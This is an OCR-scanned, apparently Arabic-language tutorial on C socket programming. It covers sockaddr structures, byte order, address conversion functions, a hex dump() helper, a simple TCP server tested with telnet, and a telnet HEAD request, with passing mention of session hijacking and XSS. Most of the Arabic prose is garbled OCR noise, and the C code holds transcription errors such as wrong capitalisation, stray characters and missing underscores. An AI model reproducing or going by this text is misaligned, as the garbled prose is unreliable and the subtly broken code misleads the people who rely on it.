e ¢ Loy L3 5 <Object e Lt 23 iyl ol i 4 Struct tm L 52 13 LS <time.c JI Jlsoy i&j?ﬁ e
Object I lia 1y o3 5541 Elements 1 5f ol

La.mi LeolS s e 25 ‘..? 4 OSl Layers Ji s Sockets JU Lold| Structs JI ax el lafia o s

SStruct tm” JI Il (3 Ll S

o8 Ble & 16 bytes a2 o~ :~> ."sockaddr" .25 -.pldl Struct JI aals
Address Data |/ pwa,e; wz..i\ (14 bytes) JI 5 <Address Family |J ials (2 bytes)

PIC VARV

sockaddr structure (Generic structure)

Family sa_data (14 bytes)
| | I | | I | l | | | | l l

.16 bytes 5f (&L= 16 Sl 3 U 536 LY

:wﬁéﬁ\sﬂ\ﬁ\&)
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/* Get the definition of the macro to define the common sockaddr
members. */

#include <bits/sockaddr.h>
/* Structure describing a generic socket address. */

struct sockaddr

{

___SOCKADDR COMMON (sa ); /* Common data: address family and
length. */

char sa data[l4]; /* Address data. */

bi

Address Families JI sa 5 Lib Jlods ooy e 55 =Y Lo

/user/include/bits/socket.h
/* Address families. */
#define AF UNSPEC PF_UNSPEC
#define AF LOCAL PF LOCAL
#define AF UNIX PF UNIX
#define AF FILE PF FILE
#define AF INET PF INET
#define AF AX25 PF AX25
#define AF IPX PF IPX
#define AF APPLETALK PF APPLETALK
#define AF NETROM PF NETROM
#define AF BRIDGE PF BRIDGE
#define AF ATMPVC PF ATMPVC
#define AF X25 PF_X25
#define AF INET6 PF_INET6

APVA JI e S50 ! sn 31 3 sl | Address Family Ji of LY
AF: Address Family, PF: Protocol Family

Networking
[126]



IPv4 JL ol “Socket Address” J Jls lda. Joadl &4 ) ol aslddaly £ s a4l

/* Structure describing an Internet socket address. */
struct sockaddr in

{

___SOCKADDR_COMMON (sin ) ;

in port t sin port; /* Port number. */
struct in addr sin addr; /* Internet address. */
/* Pad to size of 'struct sockaddr'. */

unsigned char sin zero[sizeof (struct sockaddr) -
___SOCKADDR _COMMON_SIZE -
sizeof (in port t) -
sizeof (struct in addr)];

}s

sockaddr structure (Generic structure)

Family sa_data (14 bytes)
| | | | | | | | | | | | | |

sockaddr_in structure (Used for IP version 4)

Family Port # IP address Extra padding (8 bytes)
[ | | | | | | | | | | |

(G ) A 0 45 Vs

Sl SR 2S5 <IPv4 Socket JI 4» 115 ."General Socket" Ji s» J Y1 Socket JI 3 b3S

Olyge &£ IPVA JL ol Structure JI & 8bytes sie sy a6 LM & oS0 <16 bytes
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Bl el H’* \S &Y .16 bytes JI 3L oS 1a s cdorl- 033 vgils] &5 24 8¢ "Extra padding" J!

- 2 bytes for “family type”
- and 2 bytes for “port number”
- and (8 bits * 4 = 32 bits = 4 bytes) for “IP Address” field

Padding sl U1 J\SL L ! aib 8 bytes ¢ yonll 0,503

Big-Endian Byte Ordering

“AF_INET Socket address structure” JI 3 Oledsedl Port Number J\s IP Address Ji o L=\ o

”x-86 little-Endian byte ordering”J! Ofm "Network Byte Ordering" J! ngm;

¢..Endian J!1ials

Endianness refers to the order of the Bytes; It also describes the order of byte transmission over a
digital link.

Big-endian is the most common format in data networking; fields in the protocols such as IPv4,
IPv6, TCP, and UDP, are transmitted in big-endian order.

"Bits over the link" JLu,Y il s (o5
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I gl e o)) I fiields JI o Convert Jas e LY Qs oK)l Sl plaeaad oy

[Little-Endian JI Jl> 3 a5 4.2l

(ks Little-Endian JI ¢ ket Jsey Big-Endian J! & Memory JI felas 5

:@&g\ {gt & ¢ |S “Big-Endian ordering” J| dl>
ol Sl oy 8513 0253 5,S1001 G Input 1 s (52 s T 516

The most significant byte (MSB) value, "OA" is at the lowest address

b)) 0 4513 oz "Little-Endian” J1 DL~ 35

The least significant byte (LSB) value, "0D", is at the lowest address.

32-bit integer

- a:

> q+1:

= (42

> q+3:
Little-endian

OAOBOCOD Memory

0D

0C

0B

0A

(& i) B e g 52 S

32-bit integer
Memory 0OAOBOCOD

a: Eljl'i"u(—J

a+l:|0B | «=—
a+2:|0C |-
a+3:|0D| ==

Big-endian

UV uﬁsh ..Conversion JI lis Jass functions JI jas; e 58



htonl (Iong value) Host-to-Network Long
This function converts 32-bit (4-byte) quantities from host byte order to network byte order. htonl means
host to network long!

htons (short value) Host-to-Network Short
This function converts 16-bit (2-byte) quantities from host byte order to network byte order.

ntohl (Iong value) Network-to-Host Long
This function converts 32-bit quantities from network byte order to host byte order.

ntohs (long value) Network-to-Host Short
This function converts 16-bit (2-byte) quantities from network byte order to host byte order.

Conversion between IPv4 and 32-bit int

ok "the internet standard dot notation" LeJe s gﬂ\ 5 s 54.208.202.125 dxall ods J&, Les
031 5 iUl o el LA e 5 "32-bits order” JU Jalas & 5353 functions J1 of &> «1Socket Jf Lgagas
1 S5 "32-bits integer” JI A ASCH JI e |y s>l o 55 functions

functions Jieds o3 k5 5 Les

: LY function J1 #

inet aton(char *ascii addr, struct in addr *network addr)

This function converts the specified string in the Internet standard dot notation “*ascii addr”
to a network address “*network addr”, and stores the address in the structure provided

“struct in_addr”.
The converted address will be in Network Byte Order (bytes ordered from left to right).
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o5 32-bits int JI &xay IP Address JI Jo Struct & 14y ﬁﬁﬁ s> fstruct in_addr JI 1is AN
«AF_INET WL o) "Socket address structure"J! J1s 4z 25

e i.x.}é inh Gl 3 e 50 gl Structure | Define  fos «5 -Address Family for IPv4 JI
Linux pllas 3 S L

uer/include/netinet/in.h

I i gl Llos 5 sl LLs .General Structure JU 45 ,lie e Lo Uinds lsdiezanl 135
.integer J! 1| "IP Address in Dotted notation"

: b | S Address I of s 2
The address is aaa.bbb.ccc.ddd

QIS ) Aolas 05553

number = (aaa*25673) + (bbb*25672) + (ccc*25671) + (ddd*25670)

(0) 05w o35 ol s <(Address: 255.255.255.255) ) blall o3 )1 Y 4294967295 & s o3 S|
L5 N &Y Lunsigned o, Of LY integer Ji 1 B L>Y «(Address: 0.0.0.0) J J{in\ o5 &Y

.!g.,.ju(,.gjt}.g.{-m Pyesy

;W) function JI #

ol s Lo 055 ASCI JI ) Network JI s I 3ies 315

inet ntoa(struct in addr *network addr)

“This function converts the specified Internet host address to a string in the Internet standard dot
notation”.
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The error.h

oad Heap I Jls 3 eladl el 3 alassead 38 G5 1 Functions 1 Laxs 9531 oF o
fatal()) Jis ec_malloc() !

// A function to display an error message and then exit
void fatal (char *message) {

char error message[100];

strcpy (error message, "[!!] Fatal Error ");

strncat (error message, message, 83);

perror (error message) ;

exit(-1);
}

// An error-checked malloc () wrapper function
void *ec malloc(unsigned int size) {
void *ptr;
ptr = malloc (size);
if (ptr == NULL)
fatal ("in ec malloc() on memory allocation");
return ptr;

Al cd pgediad s Lo include Cile 3 agans s p g et IS0 et O s W L
error.h ade i

.Spacket analysis J sl » o Jbedl U G0 o

e 2 o o B @ls S b ladl o A bl of L>Sw <TCPDUmp i wireshark Ji J..g

KA (P (25 ASCILI AM;:L@U Hexadecimal JI i UL KPRE e 8y
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ov o 8 :.f‘ o e .’;‘ b
.O)M‘O%O.@Lﬁuﬁ’;}u%

00000000  4C 00 DC FF 00 00 00 00 3C 00 9F 14 00 EE 10 FD L Uy o
0Oo000010 FS FF FA FF FE FF 00 00 01 00 FF FF 00 00 BC 0B &yayby vy M
pooooo20 64 FS 94 06 58 F8 F4 FF 1E 00 22 00 F? FF OF 00 d31 Xedy " =¥

0O000030 BA FF 00 00 43 61 2F 01 03 0C F1 FD 13 94 87 FF 2y Cas #ay 113
00000040 01 FF 00 65 FF 9B 02 00 94 00 6A FF 46 69 2C D& ¥ eyl 1 J¥Fi,
00000050 02 AD CD 53 33 ED EF 09 CB B4 24 45 14 07 FF F6 -1S3ii E'S$E ¢
poooo0e0  OF 10 AC FF 43 FF 0C FA FD B3 FS 53 13 ED EF 09 ~yCy ay?os il
poooo070  BD 08 4F AC 05 48 F1 B? 04 50 01 FF FE FS 00 OF % O- HA- P who

00000080 CO AB 26 52 0D FC 12 F& FC 0B FE 00 B3 FS5 4E 0B A«&R i @i b 38N
0o0000S0 01 AC B3 22 3F 2F 01 03 0C EE FE 01 Be Ba 47 46 -3"7%/ ib TMeGE
0O000O0DAD  B7 FD 45 OF OF FF FB 06 Fe EA BB 04 4E E7 F4 40 -¢E ¥4 Oé&» N o€
oooooo0BO 12 13 F8 FO C2 94 15 61 2F 01 03 0C F1 FD 13 94 e8A1 as  #Y |

~ - aa — -

Lgaﬂ.m{ausj HeXJ\ML@Jﬁr@'&? ‘memorydlémMﬁaugg\d}agpﬁ&xé&;{‘s
G elll s e <LE "Printable bytes” I b o i adl Lo o3 |l Cinall G 16 bytes

Nl ) gl ol ook o 355 DS st OV 3558 danly LSl el ST G Y

«"length of received bytes" J! « C.a.J integer s el bytes J! 4 o}j buffer e 5,Le 5,1 Lia
Al bytesdb.).ogb’w’wdéf%;

G S5 cHeX Ul drnay 5 16 bytes JI 5 slows ¥ O yinan Lgad o W oy S Dytes JI i p 20 Loop oS
L N802x7 O S s Yox JI el

902l oda Lol 13U

201 5 s (0) Vs - MiSn 5 2 dligits o3 el ity 851 o5 <2 dligits o] 2 xS xeall o Y

Slaol 1, Jsad| IS sa 5 “prepend it with zeros if there is less” 4 s
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el 1S Gned! Je La,g/_iaf < printable characters JI Ly S35 450 Zja Loop Josxs p 55 o3

:Dump() L@..ML «Function Ju Ukl 5 ST b

// Dumps raw memory in hex byte and printable split format
void dump (const unsigned char *data buffer, const unsigned int length)

{

unsigned char byte;
unsigned int i, Jj;
for (i=0; i < length; i++) {
byte = data buffer[i];
printf ("%02x ", data buffer[i]); I/l Display byte in hex.
1if(((1%16)==15) || (i==length-1)) {
for(j=0; j < 15-(i%16); j++)
printf (" "),
printf ("] ");
for(j=(i-(i%16)); j <= i; j++) { /I Display printable bytes from line.
byte = data buffer([]j];
if ((byte > 31) && (byte < 127)) //Outside printable char range
printf ("%c", byte);
else
printf("."™);
}
printf ("\n"); // End of the dump line (each line is 16 bytes)
} /I End if
} /I End for

V'i “Two Parameters” J=G function e
ol dbla S 55 s oLl (,5 e Bly e b dudowy o 52 "pOINe tO @ buffer” JsY!
Loop JI || Jix ('j Mreceived ... of bytes" {lu, L k] bytes I &l o count fxs e i integer

Networking
[134]



35T oy s HeX Ul iy g o) ooy 1l (s LS S5 c5LEJ1 Lo L o T e bytes 1 Sy p 52
1)l caall 4 16 bytes
ol U e 1P o ptircd SIS STl 2 el lia oY

"two spaces”  oblua Die "two digits” ISy Jued Jons p 5o (Jeyl .

CZ}A}A \s Laf "two spaces" <" 5 (o2 5 ¢ s 16 o5, byte I JoG Lo 1)

.:ﬂ\é

"16 bytes of Hex" JI slew b Il a s SPrintable data Ji e 3L 0Y1
.printable characters JI Lgs Lzl bytes Jloda Jo1s L;J.;T‘ Loop  fens Lad o s
10 Jle udl b 2l Lo U

if ((byte > 31) && (byte < 127))

8127 o ol 531 e ST ms 3L
oo _role cislo 135 character I s range Ji s gt o5 31 oldl delb pde L sad b 3 lia

o () g Yoy bt 505 Mg o 585 )15 (Ul s
b L 127 dloda bo ST . 0ons
ASCII table Ji Lz

ASCII, abbreviated from American Standard Code for Information Interchange, is a character-
encoding scheme. ASCII codes represent text in computers, communications equipment, and
other devices that use text. Most modern character-encoding schemes are based on ASCII,
though they support many additional characters.
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(i) D5 &5 SN b 201 STU e g 1 e ol tRDIR J1 a5

Dec Hex Oct Chr Dec Hex Oct HTML Chr Dec Hex Oct HTML Chr Dec Hex Oct HTML Chr
00 000 NULL 3220 040 &#032; Space | 64 40 100 &#064; @ 96 60 140 &#096;
11 001 StartofHeader 3321 041 &#033; ! 6541 101 &#065 A 97 61 141 &#097, a
22 002 Startof Text 34 22 042 &#034;, " 66 42 102 &#066;, B 98 62 142 &#098;, b
33 003 EndofText 3523 043 &#035; # 67 43 103 &#067; C 99 63 143 &#099;, ¢
44 004 End of Transmission 36 24 044 &#036; $ 68 44 104 &#068;, D | 100 64 144 &#100; d
55 005 Enquiry 37 25 045 &#037, % 69 45 105 &#069; E 101 65 145 &#101; e
66 006 Acknowledgment 3826 046 &#038 & 70 46 106 &#070;, F 102 66 146 &#102; f
77 007 Bell 39 27 047 &#039;, ' 7147 107 &#071; G | 103 67 147 &#103; g
88 010 Backspace 40 28 050 &#040; ( 7248 110 &#072; H [ 104 68 150 &#104; h
99 011 Horizontal Tab 41 29 051 &#041; ) 73 49 111 &#073; 1 105 69 151 &#105; i

10 A 012 Line feed 42 2A 052 &#042; * 74 4A 112 &#074; ) 106 6A 152 &#106; |
11 B 013 Vertical Tab 43 2B 053 &#043; + 75 48 113 &#075; K 107 6B 153 &#107; k
12C 014 Form feed 44 2C 054 &#044; 76 4C 114 &#076; L 108 6C 154 &#108; |
13 D 015 Carriage return 45 2D 055 &#045; - 77 4D 115 &#077, M | 109 6D 155 &#109; m
14 E 016 Shift Out 46 2E 056 &#046; . 78 4 116 &#078;, N [ 110 6E 156 &#110; n
15F 017 ShiftIn 47 2F 057 &#047;, / 79 4F 117 &#079; O | 111 6F 157 &#111; o
16 10 020 Data Link Escape 48 30 060 &#048;, 0 80 50 120 &#080; P 11270 160 &#112; p
17 11 021 Device Control 1 49 31 061 &#049; 1 8151 121 &#081; Q (11371 161 &#113; q
18 12 022 Device Control 2 50 32 062 &#050; 2 8252 122 &#082; R | 11472 162 &#114; r
19 13 023 Device Control 3 51 33 063 &#051;, 3 83 53 123 &#083; S 11573 163 &#115; s
20 14 024 Device Control 4 52 34 064 &#052; 4 84 54 124 &#084;, T 116 74 164 &#116; t
2115 025 Negative Ack. 53 35 065 &#053; 5 8555 125 &#085 U | 11775 165 &#117; u
2216 026 Synchronous idle 54 36 066 &#054; 6 86 56 126 &#086;, V 118 76 166 &#118; v
23 17 027 End of Trans. Block 5537 067 &#055 7 87 57 127 &#087; W | 11977 167 &#119; w
24 18 030 Cancel 56 38 070 &#056; 8 88 58 130 &#088; X 120 78 170 &#120; x
2519 031 End of Medium 57 39 071 &#057; 9 8959 131 &#089; Y 12179 171 &#121; y
26 1A 032 Substitute 58 3A 072 &#058; : 90 5A 132 &#090;, Z 122 7A 172 &#122; z
27 1B 033 Escape 59 3B 073 &#059; ; 91 5B 133 &#091; [ 123 7B 173 &#123; {
28 1C 034 File Separator 60 3C 074 &#060; < 92 5C 134 &#092; \ 124 7C 174 &#124; |
29 1D 035 Group Separator 61 3D 075 &#061; = 93 5D 135 &#093; ] 125 7D 175 &#125; )
30 1E 036 Record Separator 62 3k 076 &#062; > 94 5E 136 &#094; ~ 126 7€ 176 &#126;, ~
31 1F 037 Unit Separator 63 3F 077 &i#063; ? 95 5F 137 &#095; _ 127 7F 177 &#127; Del

asciicharstable.com

s 6355501 (3 Del a5 1275655 (127 531) JI (g 4231 )1 characters 1 el p i b 2l U335 Al

s N (dot) dslka; ¢y bytes I (3 5B 13) 05 1580 oS 3oy 5 Y
S J&L Lealseial oo . error.h calll L;li.é.ﬂ function J e &L50L o s
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Some Definitions

#Define J| 5 Function Prototype J! (,.aj w,u.&l odn e slgnYl J,g - Sl ol Cs

Function prototype
:"function prototype" JI o =5 lda

a function prototype or function interface is a declaration of a function that specifies the
function's name and type signature (parameter types, and return type), but omits the function
body. While a function definition specifies how the function does what it does (the
"implementation™), a function prototype specifies its interface.

ey aing Lo 2l e sl ool SV amy 3 Tt slinainal 3
Consider the following function prototypes:

int myfunction(int n);

This prototype specifies that in this program, there is a function named "myfunction™ which
takes a single integer argument "n" and returns an integer.

Aad~di function dleda 4L o GAL;JQ\ Jo L O s

#Define
e wsd variable J1 s 222l 3 ga cLeslall 5l SN 3 asdsennil Layf cade 0 4lle] S Directive JI I

#define Jb <"constant name" G Y1 i ¢l el tecd (§ 1Sty OF ol e el s
e wa port 5355 L M 35S Jols OIS (sl (3 const value JI 14s pluscal e GLESS 1
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5

o5 POt dlai) 5 L 2" 15V S 0L U Al Aoy G port JI 1 define ok, o 5205 cals JLas!

b S 35443l 55 "a0d T, Uluzal
#define port 3544

ool 3,2l Il o 5ale OV Lol A3

."Socket functions” Ji plusculy Les Jls # oy o g2

Server Example

: Ly W 5 client JI e session Ji ,Uasl, o s Server J s S LU p s JUll s 3
The server listens for TCP connections on port 6900, and when a client connects,
it (the server) sends a message “Hello, Server”.
.connection JI ;L& « of df client JI 145 s Data JLazwl Tag

=
1

*\o

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "error.h"
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#define PORT 6900 // The portusers will be connecting to

int main(void) {
int sockfd, new sockfd; /I Listen onsock_fd, new connection on new_fd
struct sockaddr in host addr, client addr; // My address information
socklen t sin size;
int recv length=1l, yes=1;
char buffer[1024];

if ((sockfd = Socket(PF_INET, SOCK_STREAM, 0)) == -1)
fatal ("in socket");

if (setsockopt (sockfd, SOL SOCKET, SO REUSEADDR, &yes,
sizeof (int)) == -1)
fatal ("setting socket option SO REUSEADDR") ;

host addr.sin family = AF INET; // Host byte order

host addr.sin port = htons (PORT); //Short, network byte order

host addr.sin addr.s addr = 0; // Automatically fill with my IP.
memset (& (host addr.sin zero), '\O0', 8); /Il Zerothe restof the struct.

1f (bind(sockfd, (struct sockaddr *)&host addr, sizeof (struct
sockaddr)) == -1)
fatal ("binding to socket");

if (listen(sockfd, 5) == -1)
fatal ("listening on socket");

while (1) { // Accept loop.
sin size = sizeof (struct sockaddr in);
new sockfd = accept (sockfd, (struct sockaddr *)é&client addr,
&sin_size);

if (new sockfd == -1)
fatal ("accepting connection");
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printf ("server: got connection from %s port %d\n",
inet ntoa(client addr.sin_ addr),
ntohs (client addr.sin port));

send (new_sockfd, "Hello, server\n", 13, 0);
recv_length = recv(new sockfd, &buffer, 1024, 0);
while (recv_length > 0) {
printf ("RECV: %d bytes\n", recv length);
dump (buffer, recv_length);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
}
close (new_sockfd);
}
return 0;

}

HBdL b g T
régljuilﬂnmﬁons¢>yﬁ|¢g‘2poJ;w|Oﬂ¢;;gsu§ #include "error.h" ;ﬂl\éL@g\xﬁ

.6900 ,a 5 <"port whom our server is listening on" J! sdot) #define JI s dezul L,a.:‘ L;uL.u

¢ int sockfd, new sockfd; 5 lalledy haidle

.¢file descriptor J| J%.x, J»

entry JI s ckernel JI' J=1s ENtry & pd (] (g3 50w 03135 o Socket (g1 51 amsd o ile (6 O SE
sl L) 5T Socket JI 114 reference & r.x.xmf (Entry) J\ of o3 A s ofd JI oy integer o3, e e

LA

follfd JIsasl L Sy uer s
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| «"Listening for incoming connection” Ji ilss LT J 531 fd I Ledseinl 35 Y arlod O o

Il 25 ap0d) process J ey 4wl kernel dI s s =T entry gloed Wl add et fd J ol
s . .

J&aell g4l connection

3

{551 LISHTUCE I Fye Lzl Liod Eom ety 21 Objects Y iy oy Lod o
struct sockaddr in host addr, client addr;

s ol il Lax] declare Jox L3 “ ~general structure JI wl3E Jocl oaMs O 3K

:Arguments i >LLACL>M socket()dlgsajfunctlon()dj gt

= Protocol family: IPv4
= Socket type: Stream (TCP)
= Number of protocols inside this family: 0 there is only one protocol! IPv4

R "sockfd" LA L@_.,fw psin socket JI MG oldl fd JI s int 403 uJ o5 5 function JI eJda

s AL function I gael 255,500 G b3 e \S Bleall 155 Ul G fatal() ) call oion
Sladl e 85 5> 50 La & 5 Options JI ods .socket JI LLC i) options JI UM e 25 setsockopt( )

{user/include/asm/socket.h

:function Jl el e 5 a5 5L Les

setsockopt (sockfd, SOL SOCKET, SO REUSEADDR, &yes, sizeof(int)) == -1)
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2l 5 p SRS L ATQUMENS ss JEmd )
.socket JI g u‘t’u fd Jl Leanils L ke 10 5 cavas Socket JI ga J;Y\ =

(to set the level of the option) option J! & Jod g,;,é islargument Jl =

‘bl - ox &> REUSEADDR JI a5 "specifies the option itself ":&JLl Argument JI =

“Let the socket bind to a port, even if that port is in use!”

s A service gl 3 p pdoind 055 L5 Y e lh sus5 Y (R port C; 32w GlaT Y
POrt i 1ds plaezal fe oLl Ua o 5205
4 bytes sa5 L. LoUkl length Jis <option JL ZoU-| data 3 pointer f”é'; ol g Al JI LT =

“32-bit integer for its value” pu5z.5 SO_REUSEADDR JI oY integer £ o vij

OIS s Gd>d struct sockaddr_in JI e bzl i objects JU ol s s2) saein NP
Ul deiall 5 S0 (3 gk S (host_addr structure) JI clslie] o o st
.address family: IPv4 Ji Gsa~ JY1 i 3 ®

I d) host JI s 43550 1 function JI plaseral LY 6900 a5 port Ji Gl et 3

16 bits 1 «short ¢ 5 -, "network byte order"

o

ekt g olht JUH1 IP Address J1 sl ol 4 LS S Jwl et G
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z b
xS

JU w255 (25 <8 bytes a5 Address Structure I U JISL psini ol I el 8 A

sl L 51 S padding

host addr.sin family = AF INET; //Host byte order

host addr.sin port = htons (PORT); //Short, network byte order

host addr.sin addr.s addr = 0; // Automatically fill with my IP.
memset (& (host addr.sin zero), '\O0', 8); /Il Zerothe restof the struct.

“bind()” JI J) gb %

1f (bind(sockfd, (struct sockaddr *)&host addr, sizeof (struct
sockaddr)) == -1)
fatal ("binding to socket");

GV p s

It is used on the server side, and associates a socket with a socket address structure, a specified
local port number (in our case 6900), and IP address.

 klS Arguments JI s & yo2 function Ji s =k
socket JU 4| file descriptor Ji L1 =
Ji JJ & typecasting J.:w s Lt LY «address structure J! ;553 5 Argument JI Vj .
Lde IPv4 address structure JI Jsts.i,;iqu; RAURIEY JSL "general address structure"

"Generic structure” JI e sbdaiu]

“the length of the address structure ” " y &JUJI Argument JI ; =

-
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Jsa s Cals gST «backlog queue & incoming connections J| C..a}/ r,u listen( ) Lavw E;Tsj
5 o kil I “connections” [J eVl ad| ad SECP ccl;:i

if (listen(sockfd, 5) == -1)
fatal ("listening on socket");

.connections J! eda dj.j., accept( ) J (’J“"’ T

: YL 5,L S connections JI JoEzl A a s function A e el OV
True wgUa 1sasl. while (1) 15 211is L3

SO ST Ja et fd el
Server JL ol IP address Ji Jozww LT Ind() I acss gb clglas accept() JI Tuzw

client JL o1 IP Address Ju

So.. the return from accept( ) function is new file descriptor “new_sockfd” for the accepted
connection. As follows:

while (1) {
sin size = sizeof (struct sockaddr in);
new sockfd = accept(sockfd, (struct sockaddr *)é&client addr,
&sin size);

if (new _sockfd == -1)
fatal ("accepting connection");

«"ASCII dotted notation" J| ix.ze; client JL o IP Address JI L :Jan 3 printf( ) J1s pdS ER
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: L s .client Ju o1 port number JU Lo 5.

printf ("server: got connection from %s port %d\n",
inet ntoa(client addr.sin addr),
ntohs (client addr.sin port));

sl odd oz a5 send() gb o

send() and recv(), Or write() and read(), Or sendto() and recvfrom(),
They are used for sending and receiving data to/from a remote socket.

cJ.&A!Lg ek | 13 bytes -,» 4555 cconnection J| c\as L client JI ) string JL L Server Ji g 4.

a2 403 w5 La <flags JI ya function Ji o1 argument 1

send (new _sockfd, "Hello, server\n", 13, 0);

receive( ) J! ;53 Gl o

buffer Ji Lgws <Arguments o ST s e cclient JI e strings JI i

fbuffer Ji lia S35 |a

1gY1 e s Buffer Ji s <1024 Gaze s 5 ool 1 &l (308 55 A
“The maximum length to read from the socket”
(0) & L3 85WJS s flags JU ol alizus Argument =1
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integer ac 55 «recv_length s clglesl daf L retum ¢k function Ji eds o 5

recv_length = recv(new sockfd, &buffer, 1024, 0);

:Loop Ji s gl o

.mlmi"/: }\ bytes JI sl sy recv_length JIlia c}’;'"\f L a‘;L‘/h’ £ i

while (recv_length > 0) {
printf ("RECV: %d bytes\n", recv length);

Al b 3 didump() 155 gl el s

:Arguments Jloda |
dump (buffer, recv_ length)
.ol e printable data Jis o ;LI Le Hex J) &z data I o 56 U ooy S

while(recv _length > 0) {
printf ("RECV: %d bytes\n", recv length);
dump (buffer, recv_ length);
recv_length = recv(new sockfd, &buffer, 1024, 0);
}
close (new_ sockfd) ;
}
return 0;

}

Ayl 55 gl 0Y15 S 2 Bl ) ko 5 3
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LS s o7

root@server:~/booksrc $ gcc server.c
root@server:~/booksrc $ ./a.out

— Lzl s client I ;e JLasSU telnet J| ptswis sserver il =T 5lex e JLas¥I & 2 p s
3)ke o LB cclient Ji e oos Uy 2l rj «“Hello, server” _a.. string Jlu,l i sl 565 ! JLasV)

.dump() Ji 2 é;& L 1 asl pie T s ; «<““this is test”

root@client:~ $ telnet 192.168.18.128 6900
Trying 192.168.18.128...
Connected to 192.168.18.128.

Escape character is '""]'.

Hello, server

this is a test
fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf

:Server JI b (3 02 L b daled L
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root@server:~/booksrc $ ./a.out

server: got connection from 192.168.18.131 port 56971

RECV: 16 bytes

74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d Oa | This is a test...
RECV: 45 bytes

66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk
ba 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh
66 64 6b 6a 68 76 62 6b 6a 67 66 0d Oa | fdkjhvbkijgf...

SR Sl J WS35 36 0,55 LA )
“OSI Layers” Jb aalad ﬁb&l\ oar F Cadadd i

The Browser

Pt \.lg; ..© “Internet Explorer” J| +Lizul (browser) C_a.,a,.o gST C\Asa..ﬁtf cosyl ci.,a; o5 Lee
HTTP JIS J S5 n oo Jolas &>~ «Application Layer Ji »s OSI Layers JI e o 4]
o p sy sgb dalzdl web servers JI 5 browser JI oy Jool sl ddas 3 dadand) SV S 55 ) (e 5m5
P browsers JI :,» connections JI Lz, ST I «web server JI -y oSl laog 5 L«;J\ d=a.2)) request

.port 80 JI Le (Clients) JI
Jo£ “Local Port” by o1 port JI &, CM,L\ el b i Lodig . Ports 1 i S i g2
(80) acd ;s .. 58 4 Lol Port Ji e Cs Connection Ji Server Ji 1023 e el Slsie o3,

WALl “Remote Port” 4:.%3
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1024 4» “Remote Port” JI 0,5 (80) s» “Local Port” JI 0K ..Server Ji 2o Cs 15
=& protocol version Ju Vj izl ol ,L.lp g Get d‘w’fb uf@ request JI \.’ua..‘..@l\

¢ 8,)le <Headers JI ,2x g c.xwf Sicontent JL ¢l respond < server JI o s% (._, HTTP JL

. .Server JU doldl Sl ylall Jaa

WIS ae Ll
L5y -4 ol Headers JI W L J of Server JI s Loz 4 Y Get s Y Head oY plszaly Ll

RN FEEIS W

reader@hacking:~/booksrc $ telnet www.internic.net 80
Trying 208.77.188.101...

Connected to www.internic.net.

Escape character is '""]'.

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Fri, 14 Sep 2007 05:34:14 GMT
Server: Apache/2.0.52 (CentOS)
Accept-Ranges: bytes

Content-Length: 6743

Connection: close

Content-Type: text/html; charset=UTF-8

Connection closed by foreign host.
reader@hacking:~/booksrc $

“hosted on web server called Apache” & S of G jé EYLI-SI Y
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LINUX ey 5 oo dng 5 25 <CONOS 5 foasall ol ¢ 5 5
pdsng o chagh session sl o1 <E-payment Ji 51 Logins J Jze sessions JI (4 pdseg ¥ (HTTP) Ji 1
lis & Wl La 3,41 <“HTTP Secure” 4 «“HTTP over SSL or over TLS” s [ (HTTPS) Ji
Je Mail Server Ji 5T Web Server Ji 5 browser Ji (g 3,U1 LI iz o s S€SSIONS JI ys ¢ 52l
oo N 5es SSL IV S 550 wl M Ul 3 o e TLS U1 5T SSL U1 J 5S35 0 pltseinly UL Jorms

el

A1 HTTP JU Jolazd 5 55 o3 cLogin Ji a5 Session Jsf 3 HTTPS JI sy w3101 an ¢ 555
I e ol bl o 5256 cLogin Ui s el ol cod Leds 1 Sessions Ji of Lz,
s %;M Sessions JI Je ;2z] ub (/,j Secured Login JI :ye d@ml MJ&-T kg ob/ Session Hijacking
Bhas o gah 3 dpll (aed oS 130 S ol Ll HTTP J) S 5 0 L Jabd &5

&l Lol Account JU il e 25635 "Session Riding” JI JA;J“A:(: WJ ol Laens
s e s Il ey Toy Lglads o e HTTPS aity U Jow U GoOGle 535
I s e 31 01 S s ) ol olonieally ) 2aY1 O3 A1 Soliall s el

a5 XSS
Aoy oSl 2T (3 83 9 U1 Appendix JI 3 Joadd) o 5 e XSS Il Solma ¢l 5Y 5,20l Lad
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The Big Picture

3 s ol s g ol VB N BN g e el S device T oy 0V e 6T 512 Y
Sl 8 554 W &t o «$1“Google” (ajzi\ Lo u':‘;ﬂ“ Le u:’-; Ll

(OSI Layers dI J=1s £ U dny 5 a5 o)zl o siid comldl OGS e Syl (26l BT (s
«App Layer JI 5 Layer 7 JI so Jalas 01 <3t dbrowser Ji plaswaly s Y| C:'““‘ o 55 Sl 5 )
IV Jo1s J2 5 5l clas POPB U1 e SMTP Ul U S 555 Lt poiens ¢ s iSONI Sy i o
055 s 5T HTTPS U1 J 58 555 » plaseanly oY) rinadlly el g 05555 ( gasedl hlessy GoOgle+
e FTP OV S 555 5 pddene g 0555 31 k1 0y Ll Jaad Upload fon,

oF A s3d1 gt Session Layer JI (3 <3 oz cend points JI xs SOCkets b o Y Sud S sl oda
de doZas Of gl Socket Ji i interface Jl oda .data JI e LS ] S i linterface JI s 5
CEUIS gl codn data JI oo 53 J 55 55

L A &kl | (Transport Layer JI 3 «& oa5Ss «UDP 51 TCP Li| 04K JsS 551 1ia
.. Session Layer J!

Jo 2l Taszad Destination Ji 4] Data JI Jlay] rlimed 422 TCP JI s o S S0

.Network Layer J! a5 Layer 3 J|
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&l 5 3 o Sl oo 55Le “Destination End Point” Jl os 31 5 &) 031

S5 e Y1 Loy Switch 5 (Gateway 2 Je router L. 0 5K @wp <LAN (Local Area Network)
network cable Ji 3, b e SWitch JU fuaze s 5 o!3led! 134 packet Jl s Jlas] 55 .. dor

Ji wé.i fas <Layer 3 JI d..o.gj L ez switch JI ] a5y router Ji 4] packet JI a5 Loks
Link JI plsal, Sledt s ) “frame” JI Jlasl dadall odn ¢ 52 «Data-Link Layer J >s Layer 2

HEEX?

